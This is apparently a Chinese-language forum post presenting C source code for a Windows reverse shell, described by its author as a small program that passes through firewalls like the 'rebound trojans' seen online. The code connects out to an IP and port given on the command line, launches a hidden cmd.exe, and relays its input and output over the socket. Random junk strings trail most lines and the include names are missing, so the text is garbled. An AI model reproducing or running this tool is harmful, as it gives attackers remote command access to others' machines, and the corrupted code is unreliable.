Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 CvHE7H|-{  
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/* ============================== HQvJ*U4++  
Rebound port in Windows NT _aeIK  
By wind,2006/7 l+#J oc<8  
===============================*/ SJB^dI**/d  
#include d-3.7nJ:  
#include 5?MaKNm}  
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#pragma comment(lib,"wsock32.lib") _9g-D9  
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void OutputShell(); cJMi`PQ;  
SOCKET sClient; V408uy-M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; mC0_rN^Aj  
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void main(int argc,char **argv) 4O{G^;  
{ AsD$M*It  
WSADATA stWsaData; b'``0OB)  
int nRet; ZIKSHC9  
SOCKADDR_IN stSaiClient,stSaiServer; ollsB3]]  

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if(argc != 3)
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{ a:8 MoH4  
printf("Useage:\n\rRebound DestIP DestPort\n"); PB *v45  
return; gu6%$z  
} l\F71pwSI  
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WSAStartup(MAKEWORD(2,2),&stWsaData); eF]8Ar1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iciKjXJ:  
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stSaiClient.sin_family = AF_INET; ZNne
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stSaiClient.sin_port = htons(0); #}Yrxf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :hT.L3n,  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !zvjgDlZv  
{ .XqeO@z  
printf("Bind Socket Failed!\n"); Th$Z9+()  
return; LPBa!fq  
} m~ 5"q%;  
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stSaiServer.sin_family = AF_INET; O2\(:tvw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Y/
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5RvE ),  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )=sbrCl,C/  
{ pmUf*u-
 
printf("Connect Error!"); }NoP(&ebz*  
return; rrr_{d/  
} 5@%.wb4  
OutputShell(); (:qc[,m  
} 8q%y(e  
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void OutputShell() 8 eK8-R$  
{ l_/(J)
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char szBuff[1024]; Db<#gH  
SECURITY_ATTRIBUTES stSecurityAttributes; E(j#R"  
OSVERSIONINFO stOsversionInfo; 9sT5l"?g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /zt M'  
STARTUPINFO stStartupInfo; hO&b\#@
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char *szShell; (T0MWp0  
PROCESS_INFORMATION stProcessInformation; 4MS#`E7LrC  
unsigned long lBytesRead; }rI:pp^KS  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &n )MGg1%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >9rZVNMU  
stSecurityAttributes.lpSecurityDescriptor = 0; Kc?4q=7q  
stSecurityAttributes.bInheritHandle = TRUE; 8'zZVX D<  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); s6@mXO:H^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^\AeX-q2v'  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A$3Rb
n}"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1'\QD`M9^  
stStartupInfo.wShowWindow = SW_HIDE; -1,0hmn=+  
stStartupInfo.hStdInput = hReadPipe; RC/ 3\'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qEr?4h  
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GetVersionEx(&stOsversionInfo); ];LFv5"  
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switch(stOsversionInfo.dwPlatformId) ##=$$1Ki  
{ X n$ZA-  
case 1: "vSKj/]  
szShell = "command.com"; 6sSwSS
 
break; b/'c h  
default: +Cw_qS"=  
szShell = "cmd.exe"; WHY/x /$  
break; :.,9}\LK  
} teg5g|*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uqC#h,~ 0  
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send(sClient,szMsg,77,0); Bzrnmz5S  
while(1) FAEF  
{ A/>Q5)  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x3=1/#9  
if(lBytesRead) ?`piie9V  
{ l~rj7f;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F'Y ad  
send(sClient,szBuff,lBytesRead,0); _-TplGSO=c  
} 1IA1
;  
else iPTQqx-m$7  
{ dtC@cK/,D  
lBytesRead=recv(sClient,szBuff,1024,0); 6P1s*u  
if(lBytesRead<=0) break; CJ\a7=*i  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); = ^NvUrK  
} `N *:,8j  
}  2h   
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return; I9S;t_Z<  
}